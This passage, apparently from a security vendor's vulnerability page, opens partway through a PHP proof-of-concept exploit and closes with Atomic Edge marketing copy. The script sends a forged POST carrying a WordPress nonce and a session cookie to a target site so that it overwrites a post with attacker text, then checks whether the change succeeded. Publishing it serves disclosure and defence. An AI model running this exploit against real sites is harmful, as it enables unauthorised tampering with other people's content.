        'body' => '<p>This post has been modified by an attacker.</p>',
        'name' => 'Attacker Name',
        'email' => 'attacker@example.com'
    ),
    '_wpnonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookie
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// Check for success (response may contain JSON or redirect message)
if (strpos($response, 'success') !== false || $http_code == 200) {
    echo "[+] Post $post_id likely modified successfully.n";
} else {
    echo "[-] Exploit may have failed.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School